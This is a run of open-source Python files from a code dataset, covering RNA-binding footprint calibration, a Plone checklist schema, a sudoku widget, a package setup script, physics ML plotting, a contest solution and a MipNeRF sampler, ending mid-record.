return stored\n\n def store_profile(self, k, s, value):\n key = \"opt_profile_{k}_{s}\".format(k=k, s=s)\n return self.store_shelve(key, value)\n\n @property\n def cache_key(self):\n return f\"{self.params}.{self.rbp_conc}.{self.input_reads.cache_key}.{self.subsample}.{self.thresh}\"\n\n # @npmonitored\n def optimize_row(self, acc_k, shift_range, from_scratch=False):\n results = [self.load_profile(acc_k, s) for s in shift_range]\n\n if from_scratch:\n missing = list(shift_range)\n else:\n missing = [s for s, res in zip(shift_range, results) if res is None] \n self.logger.info(f\"scanning missing footprints for acc_k={acc_k} shift_range={missing}\")\n\n new_results = []\n if missing:\n self.prepare_partition_functions()\n\n def _optimize(s):\n try:\n punp_expect, res = row.optimize(s)\n return (punp_expect, res)\n except KeyboardInterrupt:\n pass\n\n from multiprocessing.pool import ThreadPool\n row = RowOptimization(self, acc_k)\n pool = ThreadPool()\n # new_results = pool.map(_optimize, missing, chunksize=1)\n # using map_async instead of pool.map makes it possible to catch KeyboardInterrupt exceptions\n p = pool.map_async(_optimize, missing)\n try:\n new_results = p.get(0xFFFF)\n except KeyboardInterrupt:\n pool.terminate()\n pool.close()\n pool.join()\n raise\n else:\n pool.terminate()\n pool.close()\n pool.join()\n \n # new_results = map(_optimize, missing) # single-thread version for debugging\n\n for s, (punp_expect, res) in zip(missing, new_results):\n results[shift_range.index(s)] = (punp_expect, res)\n\n return results\n\n def optimize_a1(self, acc_k, s, from_scratch=False):\n key = \"opt_profile_a_one_{acc_k}_{s}\".format(**locals())\n res = self.load_shelve(key)\n if res is None:\n self.prepare_partition_functions()\n\n row = RowOptimization(self, acc_k)\n punp_a_one, res_a_one = row.optimize_A0(s, a=1)\n self.store_shelve(key, (punp_a_one, res_a_one))\n\n return self.load_shelve(key)\n\n # def get_err0(self):\n # if hasattr(self, \"err0\"):\n # return self.err0\n \n # if not \"err0\" in self.shelve:\n # self.prepare_partition_functions()\n\n # return self.shelve[\"err0\"]\n\n def calibrate(self, k_core_range=[3, None], plot=True, pad=5, from_scratch=False, heuristic=0):\n kmin, kmax = k_core_range\n if kmax is None:\n kmax = self.params.k + 2\n\n self.logger.debug(f\"scanning acc_k = {kmin} .. {kmax}\")\n\n for acc_k in range(kmax, kmin - 1, -1):\n d = self.params.k - acc_k + 1\n shift_range = range(-pad, max(d + pad, 2)) # maybe better but don't read over adapter into next read!!!\n for s, (punp_predict, res) in zip(shift_range, self.optimize_row(acc_k, shift_range, from_scratch)):\n err = res.fun\n err0 = self.load_shelve('err0')\n rel_err = err / err0\n a = res.a\n A0 = res.A0\n\n if not res.success:\n self.logger.warning(f\"unable to optimize footprint k={acc_k}, s={s}.\")\n a = 0.\n A0 = self.params.A0\n err = self.load_shelve('err0')\n rel_err = 1.\n \n opt = (err, acc_k, s, a, A0)\n self.results[(acc_k, s)] = opt\n self.store_profile(acc_k, s, (punp_predict, res))\n self.store_footprint(opt)\n self.result_log.info(f\"{self.consensus} k={acc_k} s={s} a_opt={a} A0_opt={A0} err={err} rel_err={rel_err}\")\n\n self.log_mem_usage(f\"after optimizing acc_k={acc_k}\")\n\n\n results = sorted(self.results.values())\n err, acc_k, s, a, A0 = results[0]\n rel_err = err/err0\n self.result_log.critical(f\"OPTIMUM {self.consensus} k={acc_k} s={s} a_opt={a} A0_opt={A0} err={err} rel_err={rel_err}\")\n self.params.acc_k = acc_k\n self.params.acc_shift = s\n self.params.acc_scale = a\n self.params.rel_err = rel_err\n # self.params.A0 = A0\n self.params.rbp_name = self.input_reads.rbp_name\n self.store_shelve(\"params_calibrated\", self.params)\n\n # for the optimum, also compute profile for a=1\n punp_a_one, res_a_one = self.optimize_a1(acc_k, s)\n self.params.save(os.path.join(self.path, f'calibrated_{self.consensus_ul}.tsv'))\n\n return self.params\n\n def store_footprint(self, opt):\n err, k, s, a, A0 = opt\n out = [k, s, a, A0, err]\n self.fp_file.write(\"\\t\".join([str(o) for o in out]) + \"\\n\")\n self.fp_file.flush()\n self.store_shelve(\"{0}_{1}\".format(k, s), opt)\n\n # @monitored\n # @pickled\n def compute_initial_profiles(self):\n\n punp_profiles = np.array([\n reads.weighted_accessibility_profile(z, self.params.k, pad=self.pad, subsample=self.subsample)[0]\n for reads, z in zip(self.rbns.reads, self.Z1_full)])\n\n for reads in self.rbns.reads:\n reads.cache_flush(deep=True)\n\n # print \"right here\", punp_profiles\n # 1/0\n # predict profiles w/o accessibility footprint\n\n # these are computed without thresholding, so on the full set of reads!\n Z1_read, Z1_read_max = cyska.clipped_sum_and_max(self.Z1_in_noacc, clip=1E6) # aggregate to read-level\n sc = SelfConsistency(Z1_read, self.input_reads.rna_conc, bins=1000)\n rbp_free = sc.free_rbp_vector(self.rbp_conc, Z_scale=self.params.A0)\n psi = cyska.p_bound(Z1_read, rbp_free*self.params.A0)\n\n punp_openen = self.get_input_openen_cached(1)\n punp_acc = punp_openen.acc\n # if self.subsample:\n # punp_acc = self.input_reads.sub_sampler.draw(data=punp_acc)\n\n assert len(self.Z1_in_noacc) == len(punp_acc)\n naive_profiles = cyska.acc_footprints(\n self.Z1_in_noacc, \n punp_acc, \n self.params.k, \n 1, \n punp_openen.ofs - self.params.k + 1, \n pad=self.pad, \n row_w = np.ascontiguousarray(psi.T),\n )\n\n return punp_profiles, naive_profiles\n\n def compute_kmer_acc_profiles(self):\n self.logger.debug(\"compute_kmer_acc_profiles\")\n motif = self.consensus_ul\n psam = self.params.as_PSAM()\n highest_affinity = psam.highest_scoring_kmers()\n self.shelve['{}_high_affinity_kmers'.format(motif)] = highest_affinity\n \n for score, kmer in highest_affinity:\n self.logger.debug(f\"compute_kmer_acc_profiles({kmer})\")\n key = '{}_acc_data'.format(kmer)\n if not key in self.shelve:\n all_data = [reads.get_kmer_raw_unfolding_energy(kmer) for reads in self.rbns.reads]\n self.shelve[key] = all_data\n\n def get_input_openen_cached(self, k):\n if not k in self._openen_cache:\n self.logger.debug(f\"get_input_openen_cached({k}) not found\")\n self._openen_cache[k] = self.input_reads.acc_storage.get_raw(k, _do_not_cache=True)\n # self.input_reads.acc_storage.cache_flush() # free up memory\n \n for x in list(self._openen_cache.keys()):\n # drop everything that's not p-unpaired or current k\n if x > 1 and x != k and k > 1:\n self.logger.debug(f\"get_input_openen_cached({k}) dropping {x}\")\n self._openen_cache[x].cache_flush()\n del self._openen_cache[x]\n\n return self._openen_cache[k]\n\n def get_punp_cached(self):\n if self._punp_input is None:\n openen_punp = self.get_input_openen_cached(1)\n I = self.load_shelve('indices_threshold')\n punp = openen_punp.acc[I, :]\n self._punp_input = punp\n\n return self._punp_input\n\n def get_lacc_punp_cached(self, k):\n if not k in self._lacc_cache:\n I = self.load_shelve('indices_threshold')\n self.logger.debug(f\"get_lacc_punp_cached({k}) not found\")\n openen = self.get_input_openen_cached(k)\n\n acc0 = openen.acc[I, :]\n lacc0 = np.log(acc0)\n\n # if self.subsample:\n # acc0 = self.input_reads.sub_sampler.draw(data=acc0)\n # punp = self.input_reads.sub_sampler.draw(data=punp)\n\n # acc0 = acc0[I, :]\n # punp = punp[I, :]\n punp = self.get_punp_cached()\n self._lacc_cache = { k : (lacc0, punp) } # always keep only one item!\n \n return self._lacc_cache[k]\n\n def close(self):\n for reads in self.rbns.reads[1:]:\n reads.cache_flush()\n reads.acc_storage.cache_flush()\n\n self.shelve.close()\n import RBPamp.caching\n RBPamp.caching._dump_cache_sizes()\n import gc\n gc.collect()","repo_name":"RomoL2/RegVar","sub_path":"inst/extdata/RBPamp/RBPamp/footprint.py","file_name":"footprint.py","file_ext":"py","file_size_in_byte":19614,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"74002520373","text":"# -*- coding: utf-8 -*-\nimport hashlib\nfrom plone.app.textfield import RichText\nfrom z3c.form.browser.radio import RadioFieldWidget\nfrom plone.autoform import directives\nfrom plone.dexterity.content import Container\nfrom plone.supermodel import model\nfrom plone import api as ploneapi\nfrom zope.interface import provider\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.vocabulary import SimpleVocabulary, SimpleTerm\nfrom zope import schema\nfrom zope.interface import implementer\nfrom zope.component import getUtility\nfrom plone.i18n.normalizer.interfaces import IIDNormalizer\nfrom zope.interface import Invalid\nfrom zope.interface import invariant\n\nanswertypes = [\n SimpleTerm(u'radio', u'radio', u'Radiobutton (Einfachauswahl)'),\n SimpleTerm(u'checkbox', u'checkbox', u'Checkboxen (Mehrfachauswahl)'),\n SimpleTerm(u'number', u'number', u'Zahlenwert'),\n SimpleTerm(u'text', u'text', u'Textzeile'),\n SimpleTerm(u'textarea', u'textarea', u'Textfeld'),\n ]\nAntworttypen = SimpleVocabulary(answertypes)\n\ndirection = [\n SimpleTerm(u'left', u'left', u'linksbündig'),\n SimpleTerm(u'right', u'right', u'rechtsbündig'),\n ]\nDirection = SimpleVocabulary(direction)\n\nlabelclass = [\n SimpleTerm(u'label', u'label', u'Label'),\n SimpleTerm(u'edi__checkapp', u'edi__checkapp', u'Legende'),\n ]\nLabelclass = SimpleVocabulary(labelclass)\n\n\n\n@provider(IContextSourceBinder)\ndef possibleThemen(context):\n terms = []\n normalizer = getUtility(IIDNormalizer)\n try:\n themenbereiche = context.themenbereiche\n except:\n themenbereiche = []\n if themenbereiche:\n for i in themenbereiche:\n if '#' in i:\n thema = i.split('#')[1]\n m = hashlib.sha256()\n m.update(thema.encode('utf-8'))\n mytoken = m.hexdigest()\n terms.append(SimpleVocabulary.createTerm(thema,mytoken,thema))\n else: \n terms.append(SimpleVocabulary.createTerm(i,mytoken,i))\n return SimpleVocabulary(terms)\n\n\nclass IFragestellung(model.Schema):\n \"\"\" Marker interface and Dexterity Python Schema for Frage\n \"\"\"\n\n title = schema.TextLine(title=u\"Titel der Fragestellung\")\n\n #directives.widget(fieldclass=RadioFieldWidget)\n fieldclass = schema.Choice(title=\"Wie soll der Titel der Fragestellung angezeigt werden?\", \n vocabulary=Labelclass,\n default='edi__checkapp')\n\n thema = schema.Choice(title=u\"Auswahl des Themas für die Frage\",\n source=possibleThemen,\n required=True)\n\n frage = RichText(title=u\"Formatierte Fragestellung\",\n description=u'Die Inhalte dieses Feldes (Texte, Bilder, etc.) ersetzen die Angabe im Feld\\\n \"Titel der Fragestellung\".',\n required=False)\n\n antworttyp = schema.Choice(title=u\"Antworttyp auswählen\",\n description = u\"Bei Radiobutton und Checkboxen müssen nach Speichern der Fragestellung Antwortoptionen\\\n hinzugefügt werden.\",\n source = Antworttypen,\n default = 'radio')\n\n platzhalter = schema.TextLine(title=u'Platzhalter (nur bei Antworttypen \"Textzeile\" oder \"Text\")', required=False)\n\n default = schema.TextLine(title=u'Standardwert (Default) oder Methodenname', required=False)\n\n ausrichtung = schema.Choice(title=u\"Ausrichtung auswählen\",\n source=Direction,\n default=u'left',\n required=True)\n\n einheit = schema.TextLine(title=u\"Einheit der Antwort (nur bei Antworttyp Zahlenwert möglich)\",\n description = u\"Sie können hier eine Einheit für die Antwort angeben (z.B.: Ohm, Ampere, Volt)\",\n required=False)\n\n required = schema.Bool(title=u\"Markieren falls die Fragestellung eine Pflichtfeld darstellt.\", default=True)\n\n hidden = schema.Bool(title=u\"Markieren falls das Feld in der Darstellung versteckt werden soll.\", default=False)\n\n notiz = schema.Bool(title=u\"Notizenfeld anbieten\",\n description=u\"Anklicken wenn Sie eine Notiz zu dieser Fragestellung erlauben wollen.\")\n\n tipp = RichText(title=u\"Hinweis oder Hilfe zur Fragestellung\",\n required=False)\n\n @invariant\n def einheit_invariant(data):\n if data.einheit:\n if data.antworttyp != 'number':\n raise Invalid(u\"Bei Angabe von Einheiten muss der Antworttyp Zahlenwert ausgewählt werden.\")\n\n \n@implementer(IFragestellung)\nclass Fragestellung(Container):\n \"\"\"\n \"\"\"\n","repo_name":"kraeks/edi.checkapp","sub_path":"src/edi/checkapp/content/fragestellung.py","file_name":"fragestellung.py","file_ext":"py","file_size_in_byte":4777,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11251428335","text":"import tkinter\nfrom tkinter import ttk\n\nclass Matrix:\n\n def get_figure(self, master: object, board: list) -> object:\n '''\n Returns a visual representation of the sudoku\n board in the form of a matrix.\n\n Parameters:\n master (int): Tkinter master element.\n board (list): Sudoku board in form of a 2D list.\n\n Returns:\n object: Tkinter Frame containing the visual representation\n of a sudoku board in form of a matrix.\n '''\n matrix_frame = ttk.Frame(master=master)\n for i, row in enumerate(board): #Rows\n for j, element in enumerate(row): #Columns\n b = tkinter.Label(\n matrix_frame, \n text=element,\n borderwidth=1, \n relief=tkinter.SOLID, \n height=3, \n width=5, \n fg=\"black\", \n bg=\"white\"\n )\n b.grid(row=i, column=j)\n return matrix_frame\n ","repo_name":"kcuric/sudoku","sub_path":"sudoku/modules/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72115823732","text":"#!/usr/bin/env python\n\"\"\"install setup\"\"\"\nimport os\nfrom setuptools import find_packages, setup\n\n# Package meta-data.\nNAME = 'cliff'\nDESCRIPTION = 'A Python API for calculating epistasis and ruggness of mutation dataset.'\nURL = 'https://github.com/cutecutecat/cliff'\nEMAIL = 'starkind1997@gmail.com'\nAUTHOR = 'Henery Chen'\nREQUIRES_PYTHON = '>=3.6.0'\nVERSION = '1.0'\nREQUIRED = [\n \"pandas>=1.3.4\",\n \"networkx>=2.6.3\",\n \"matplotlib>=3.4.3\",\n \"numpy>=1.20.3\",\n \"joblib>=1.1.0\",\n \"tqdm>=4.62.2\",\n \"click>=8.0.3\"\n]\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n# Import the README and use it as the long-description.\n# Note: this will only work if 'README.md' is present in your MANIFEST.in file!\nwith open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = '\\n' + f.read()\n\nREQUIRED = []\nwith open(os.path.join(here, 'requirements.txt'), encoding='utf-8') as f:\n REQUIRED = f.read().splitlines()\nprint(REQUIRED)\n\nsetup(\n name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=long_description,\n long_description_content_type='text/markdown',\n author=AUTHOR,\n author_email=EMAIL,\n python_requires=REQUIRES_PYTHON,\n url=URL,\n packages=find_packages(exclude=('test',)),\n install_requires=REQUIRED,\n include_package_data=True,\n license='MIT',\n classifiers=[\n 'Intended Audience :: Science/Research',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n ],\n keywords='protein ruggness epistasis high-order genetics genotype-phenotype-maps',\n entry_points={\n \"console_scripts\": [\n \"cliff = cliff.client:cli\",\n ],\n },\n)\n","repo_name":"cutecutecat/cliff","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8297423753","text":"import os\nfrom copy import deepcopy\nfrom imports import *\nfrom utils import *\nfrom data import *\nfrom args import *\nfrom collections import OrderedDict\nfrom itertools import combinations\n\ndef heatmap(hists, name, folder, calibrations=None, logz=False, verbose=False, weights=None):\n default_fontsize = plt.rcParams['font.size']\n figwidth = 6\n fig, axs = plt.subplots(1,len(hists),figsize=(len(hists)*figwidth, 6))\n if not isinstance(axs,np.ndarray): axs = [axs]\n cb_formatter = ScalarFormatterForceFormat('%1.1f')\n cb_formatter.set_powerlimits((0, 0))\n\n if weights is not None: weights = np.squeeze(weights)\n for hist, ax in zip(hists,axs):\n _ = ax.hist2d(hist[\"x\"][\"vals\"], hist[\"y\"][\"vals\"], bins=(hist[\"x\"][\"bins\"], hist[\"y\"][\"bins\"]), range = [[hist[\"x\"][\"lims\"][0],hist[\"x\"][\"lims\"][1]],[hist[\"y\"][\"lims\"][0],hist[\"y\"][\"lims\"][1]]], weights=weights, density=True, rasterized=True, norm=mpl.colors.LogNorm() if logz else mpl.colors.Normalize())\n ax.set_xlabel(hist[\"x\"][\"label\"], fontsize=default_fontsize+2)\n ax.set_ylabel(hist[\"y\"][\"label\"], fontsize=default_fontsize+2)\n #ax.set_aspect(1/ax.get_data_ratio())\n fig.colorbar(_[3], ax=ax, format=None if logz else cb_formatter)\n\n if hist[\"correl\"]:\n kendalltau, spearmanr, _ = correl(hist[\"x\"][\"vals\"], hist[\"y\"][\"vals\"])\n # get the calibration line for this combination\n coeff, _, _ = calibrate(hist[\"x\"], hist[\"y\"])\n skewness_val = skewness(hist[\"x\"][\"vals\"], hist[\"y\"][\"vals\"], coeff[0])\n t0 = ax.text(.97, .17, f\"$\\\\gamma_1^{{\\\\mathrm{{rel}}}}={skewness_val:.3f}$\", color='white', transform=ax.transAxes, va='bottom', ha='right', fontsize=default_fontsize+2)\n t1 = ax.text(.97, .10, f\"$\\\\tau={kendalltau:.3f}$\", color='white', transform=ax.transAxes, va='bottom', ha='right', fontsize=default_fontsize+2)\n t2 = ax.text(.97, .03, f\"$r_s={spearmanr:.3f}$\", color='white', transform=ax.transAxes, va='bottom', ha='right', fontsize=default_fontsize+2)\n if logz:\n for tt in [t0,t1,t2]:\n tt.set_path_effects([path_effects.withStroke(linewidth=5, foreground='k')])\n\n ax.xaxis.set_minor_locator(AutoMinorLocator())\n ax.yaxis.set_minor_locator(AutoMinorLocator())\n\n fig.tight_layout()\n save_figure(plt, \"{}/{}.pdf\".format(folder,name))\n\n if calibrations is not None:\n # add calibration lines to existing plots\n for hist, ax in zip(hists,axs):\n coefflabels = [\"m\",\"b\"]\n fitlabel = \"fit (m{}+b)\"\n if \"fit\" in hist[\"x\"] and \"fit\" not in hist[\"y\"]:\n line_x = hist[\"x\"][\"vals\"]\n line_y = hist[\"x\"][\"fit\"]\n fitlabel = fitlabel.format(\"x\")\n coeff = calibrations[hist[\"x\"][\"name\"]]\n elif \"fit\" not in hist[\"x\"] and \"fit\" in hist[\"y\"]:\n line_x = hist[\"y\"][\"fit\"]\n line_y = hist[\"y\"][\"vals\"]\n fitlabel = fitlabel.format(\"y\")\n coeff = calibrations[hist[\"y\"][\"name\"]]\n else:\n if verbose: print(\"WARNING: cannot display calibration fit for {}, {}\".format(x[\"name\"], y[\"name\"]))\n continue\n\n coeff0old = coeff[0]\n coeff[0] = abs(coeff[0])\n if len(coeff)==1:\n coefflabels = [\"m\"]\n fitlabel = fitlabel.replace(\"+b)\",\")\")\n fitlabels = [fitlabel]\n fitlabels.extend([\"{} = {:.3g}\".format(clabel, cvalue) for cvalue, clabel in zip(coeff, coefflabels)])\n ax.plot(line_x, line_y, label='\\n'.join(fitlabels), color='k')\n ax.legend()\n coeff[0] = coeff0old\n\n save_figure(plt, \"{}/calib_{}.pdf\".format(folder,name))\n\ndef get_axis_info(axes, names, values, pranges=None):\n axis_info = OrderedDict()\n if not isinstance(values,list):\n values = np.transpose(values)\n if pranges is None:\n pranges = [None]*len(names)\n else:\n # account for multiple ranges\n pranges = [(p[0][0],p[-1][-1]) if isinstance(p,list) else p for p in pranges]\n for name, value, prange in zip(names, values, pranges):\n axis_info[name] = deepcopy(axes[name])\n axis_info[name][\"name\"] = name\n if prange is not None: axis_info[name][\"lims\"] = prange\n axis_info[name][\"vals\"] = np.squeeze(value)\n return axis_info\n\ndef do_calibrate(name, axis, axis_params, calibrations, calib_offset):\n x = axis\n y = axis_params\n coeff, fit, _ = calibrate(axis, axis_params, zero=not calib_offset)\n calibrations[name] = coeff\n axis[\"fit\"] = fit\n\ndef check_test_args(args):\n if len(args.outfs)>0:\n if (len(args.model_dirs)>0 and len(args.model_dirs)!=len(args.outfs)) or (len(args.inputs_multi)>0 and len(args.inputs_multi)!=len(args.outfs)):\n raise ValueError(\"Length of model_dirs ({}) and inputs_multi ({}) must match length of outfs ({}) or be zero\".format(len(args.outfs),len(args.model_dirs),len(args.inputs_multi)))\n return args\n\n# uses \"test\" portion of training dataset\n# run separately because plots can be finicky\ndef test():\n eparser = EVNParser(\"test\")\n parser = eparser.parser\n parser.add_argument(\"--calibrate\", default=False, action=\"store_true\", help=\"calibrate variables using test data\")\n parser.add_argument(\"--npz\", type=str, default=\"\", help=\"load a different npz file of test event indices\")\n parser.add_argument(\"--outfs\", type=str, default=[], nargs='*', help=\"multiple output folders to compare different models\")\n parser.add_argument(\"--model-dirs\", type=str, default=[], nargs='*', help=\"directories for saved model files to compare different models (empty: use --model-dir for all)\")\n parser.add_argument(\"--inputs-multi\", type=str, default=[], nargs='*', action=\"append\", help=\"input feature name(s) to compare different models (call once per model) (only if different from --inputs)\")\n parser.add_argument(\"--flip\", type=int, default=[], nargs='*', help=\"manually flip specified AEVs\")\n parser.add_argument(\"--logz\", default=False, action=\"store_true\", help=\"logarithmic z axis (color scale)\")\n parser.add_argument(\"--calib-offset\", default=False, action=\"store_true\", help=\"include offset in calibration\")\n args = eparser.parse_args(checker=check_test_args)\n outf_test = args.outf+\"/\"+args.name\n os.makedirs(outf_test, exist_ok=True)\n\n plot_format()\n\n # fit the single model case into the multi model case\n if len(args.outfs)==0: args.outfs = [args.outf]\n if len(args.model_dirs)==0: args.model_dirs = [args.model_dir]*len(args.outfs)\n if len(args.inputs_multi)==0: args.inputs_multi = [args.inputs]*len(args.outfs)\n\n # make superset of all inputs\n args.inputs = list(set([i for inputs_tmp in args.inputs_multi for i in inputs_tmp]))\n\n # import list of test events (consistent w/ train.py)\n shuffler_path = args.npz if len(args.npz)>0 else \"{}/shuffler_test.npz\".format(args.outf+\"/\"+args.model_dir)\n shuffler_test = np.load(shuffler_path)\n if 'arr_0' in shuffler_test: shuffler_test = {\"\": shuffler_test['arr_0']}\n else: shuffler_test = {\"\": list(shuffler_test.values())[0]}\n\n # get physics process & data\n process = eparser.get_process(args,mask=shuffler_test)\n events = process.get_events()\n\n # convert to numpy format\n params = process.get_params(events)\n theory = process.get_theory(events)\n extras = process.get_extras(events)\n weights = process.get_weights(events)\n\n # get saved model(s) & input(s)\n inputs = []\n models = []\n artvars = []\n for outf,model_dir,args_input in zip(args.outfs,args.model_dirs,args.inputs_multi):\n process.inputs = args_input\n inputs.append(process.get_inputs(events))\n models.append(import_attrs(model_dir, \"AEVNetwork\")(0, 0, [], \"\", outf+\"/\"+model_dir))\n # compute the machine-learned variable(s)\n artvars.append(np.nan_to_num(models[-1].network(inputs[-1]).numpy(),posinf=0,neginf=0))\n\n # put all ML variables in single numpy array (same format as single ML model w/ bottleneck > 1)\n artvars = np.concatenate(artvars, axis=1)\n\n # histogram axis info, taken from config (mostly)\n if params is not None: axis_params = first(get_axis_info(args.axes, list(process.params), params, list(process.params.values())))\n if theory is not None: axis_theory = get_axis_info(args.axes, process.theory, theory)\n if extras is not None: axis_extras = get_axis_info(args.axes, process.extras, extras)\n\n calibrations = {}\n # theory vars get calibrated against param\n if args.calibrate:\n for name, axis in axis_theory.items():\n do_calibrate(name, axis, axis_params, calibrations, args.calib_offset)\n\n n_artvars = artvars.shape[1]\n artname = \"AEV\"\n axis_artvars = OrderedDict()\n for col in range(n_artvars):\n artvar = artvars[:,col]\n if n_artvars>1: artname = \"AEV{}\".format(col)\n\n # Ensuring positive correlation\n flip = False\n if params is not None:\n _, _, flip = correl(artvar, axis_params[\"vals\"])\n if col in args.flip:\n flip = True\n if flip: artvar *= -1\n\n axis_artvar = first(get_axis_info(args.axes, [artname], [artvar], [(min(0, np.mean(artvar)-3*np.std(artvar)), np.mean(artvar)+3*np.std(artvar))]))\n axis_artvars[artname] = axis_artvar\n\n # AEV(s) get calibrated against param\n if args.calibrate:\n do_calibrate(artname, axis_artvar, axis_params, calibrations, args.calib_offset)\n # include flip in coeff for later use\n if flip: calibrations[artname][-1] *= -1\n\n # theory vars get plotted w/ param & AEV\n if theory is not None:\n for name, axis in axis_theory.items():\n heatmap(\n hists = [\n {\"x\": axis_params, \"y\": axis, \"correl\": False},\n {\"x\": axis_params, \"y\": axis_artvar, \"correl\": False},\n {\"x\": axis, \"y\": axis_artvar, \"correl\": True},\n ],\n name = \"heatmap_{}_theory_{}\".format(col,name),\n folder = outf_test,\n calibrations = calibrations if args.calibrate else None,\n verbose = args.verbose,\n weights = weights,\n logz = args.logz,\n )\n\n # extra vars get plotted w/ theory var(s) & AEV\n if extras is not None:\n for name, axis in axis_extras.items():\n hists = []\n for name_th, axis_th in axis_theory:\n hists.append({\"x\": axis, \"y\": axis_th, \"correl\": True})\n hists.append({\"x\": axis, \"y\": axis_artvar, \"correl\": True})\n heatmap(\n hists = hists,\n name = \"heatmap_{}_extra_{}\".format(col,name),\n folder = outf_test,\n weights = weights,\n logz = args.logz,\n )\n\n # plot AEVs against each other\n if n_artvars>1:\n # one plot per x-axis variable (last key is never used for x axis)\n hist_groups = OrderedDict([(key,[]) for key in list(axis_artvars.keys())[:-1]])\n for comb in combinations(axis_artvars.keys(),2):\n hist_groups[comb[0]].append({\"x\": axis_artvars[comb[0]], \"y\": axis_artvars[comb[1]], \"correl\": True})\n for key,hists in hist_groups.items():\n heatmap(\n hists = hists,\n name = \"heatmap_AEVs_vs_{}\".format(key),\n folder = outf_test,\n weights = weights,\n logz = args.logz,\n )\n\n with open(outf_test+\"/calibrations.py\",'w') as cfile:\n calibrations = {name:list(coeff) for name,coeff in calibrations.items()}\n cfile.write(\"calibrations = \"+repr(calibrations))\n\nif __name__==\"__main__\":\n test()\n","repo_name":"kpedro88/evn_svj_public","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":11981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40412736664","text":"import itertools\n\nN, K = [int(a) for a in input().split()]\nT = []\nfor i in range(N):\n T.append([int(a) for a in input().split()])\n\ncount = 0\n\n# aは1,2,...,N-1の置換\nfor a in itertools.permutations(range(1,N), N-1):\n t = 0\n t += T[0][a[0]]\n for i in range(1, N-1):\n t += T[a[i-1]][a[i]]\n t += T[a[N-2]][0]\n \n if t == K:\n count += 1\n\nprint(count)","repo_name":"paperlefthand/atcoder","sub_path":"ABC_C/183c.py","file_name":"183c.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21845536037","text":"import os\nfrom functools import partial\nimport jittor as jt\nfrom jittor import Function, nn\nimport numpy as np\nfrom jnerf.utils.config import get_cfg\nfrom jnerf.utils.registry import SAMPLERS\nfrom jnerf.utils.miputils import *\n\n\n@SAMPLERS.register_module()\nclass MipSampler(jt.Function):\n def __init__(self, update_den_freq=16):\n self.cfg = get_cfg()\n self.disable_integration = self.cfg.disable_integration\n self.use_viewdirs = self.cfg.use_viewdirs\n self.min_deg_point = self.cfg.min_deg_point\n self.max_deg_point = self.cfg.max_deg_point\n self.using_fp16 = self.cfg.using_fp16\n self.resample_padding = self.cfg.resample_padding\n self.num_samples = self.cfg.num_samples\n self.randomized = self.cfg.randomized\n self.lindisp = self.cfg.lindisp\n self.ray_shape = self.cfg.ray_shape\n self.stop_level_grad = self.cfg.stop_level_grad\n self.deg_view = self.cfg.deg_view\n self.white_bkgd = self.cfg.white_bkgd\n self.density_noise = self.cfg.density_noise\n self.rgb_activation = partial(nn.Sigmoid())\n self.density_activation = partial(nn.Softplus())\n self.rgb_padding = self.cfg.rgb_padding\n self.density_bias = self.cfg.density_bias\n\n def sample(self, rays, i_level, t_vals=None, weights=None):\n if i_level == 0:\n # Stratified sampling along rays\n t_vals, samples = sample_along_rays(\n rays.origins,\n rays.directions,\n rays.radii,\n self.num_samples,\n rays.near,\n rays.far,\n self.randomized,\n self.lindisp,\n self.ray_shape,\n )\n else:\n t_vals, samples = resample_along_rays(\n rays.origins,\n rays.directions,\n rays.radii,\n t_vals,\n weights,\n self.randomized,\n self.ray_shape,\n self.stop_level_grad,\n resample_padding=self.resample_padding,\n )\n if self.disable_integration:\n samples = (samples[0], jt.zeros_like(samples[1]))\n samples_enc = integrated_pos_enc(\n samples,\n self.min_deg_point,\n self.max_deg_point,\n )\n # jt.sync_all()\n # Point attribute predictions\n if self.use_viewdirs:\n viewdirs_enc = pos_enc(\n rays.viewdirs,\n min_deg=0,\n max_deg=self.deg_view,\n append_identity=True,\n using_fp16=self.using_fp16\n )\n else:\n viewdirs_enc = None\n if self.using_fp16:\n viewdirs_enc = viewdirs_enc.float16()\n return samples_enc, viewdirs_enc, t_vals\n\n def rays2rgb(self, rays, raw_rgb, raw_density, t_vals):\n # Add noise to regularize the density predictions if needed.\n if self.randomized and (self.density_noise > 0):\n raw_density += self.density_noise * jt.array(np.random.normal(0, 1, raw_density.shape))\n # Volumetric rendering.\n rgb = self.rgb_activation(raw_rgb)\n rgb = rgb * (1 + 2 * self.rgb_padding) - self.rgb_padding\n density = self.density_activation(raw_density + self.density_bias)\n return volumetric_rendering(\n rgb,\n density,\n t_vals,\n rays.directions,\n white_bkgd=self.white_bkgd)\n","repo_name":"Jittor/JNeRF","sub_path":"contrib/mipnerf/python/jnerf/models/samplers/mip_sampler/mip_sampler.py","file_name":"mip_sampler.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","stars":596,"dataset":"github-code","pt":"21"} +{"seq_id":"8297321533","text":"from collections import OrderedDict\nfrom magiconfig import MagiConfig\n\nconfig = MagiConfig()\nconfig.process = \"tchanSingle\"\nconfig.filedir = \"data/\"\nconfig.filenames = [\"genvec_t-channel_nMed-1_mMed-{}_mDark-20_rinv-0.3_alpha-peak_yukawa-1_13TeV-madgraphMLM-pythia8_n-20000_part-1.root\".format(mass) for mass in [500,600,700,800,900,1000,1100,1200,1300,1400,1500,1600,1700,1800,1900,2000]]\nconfig.filenames_sep = OrderedDict([(mass, 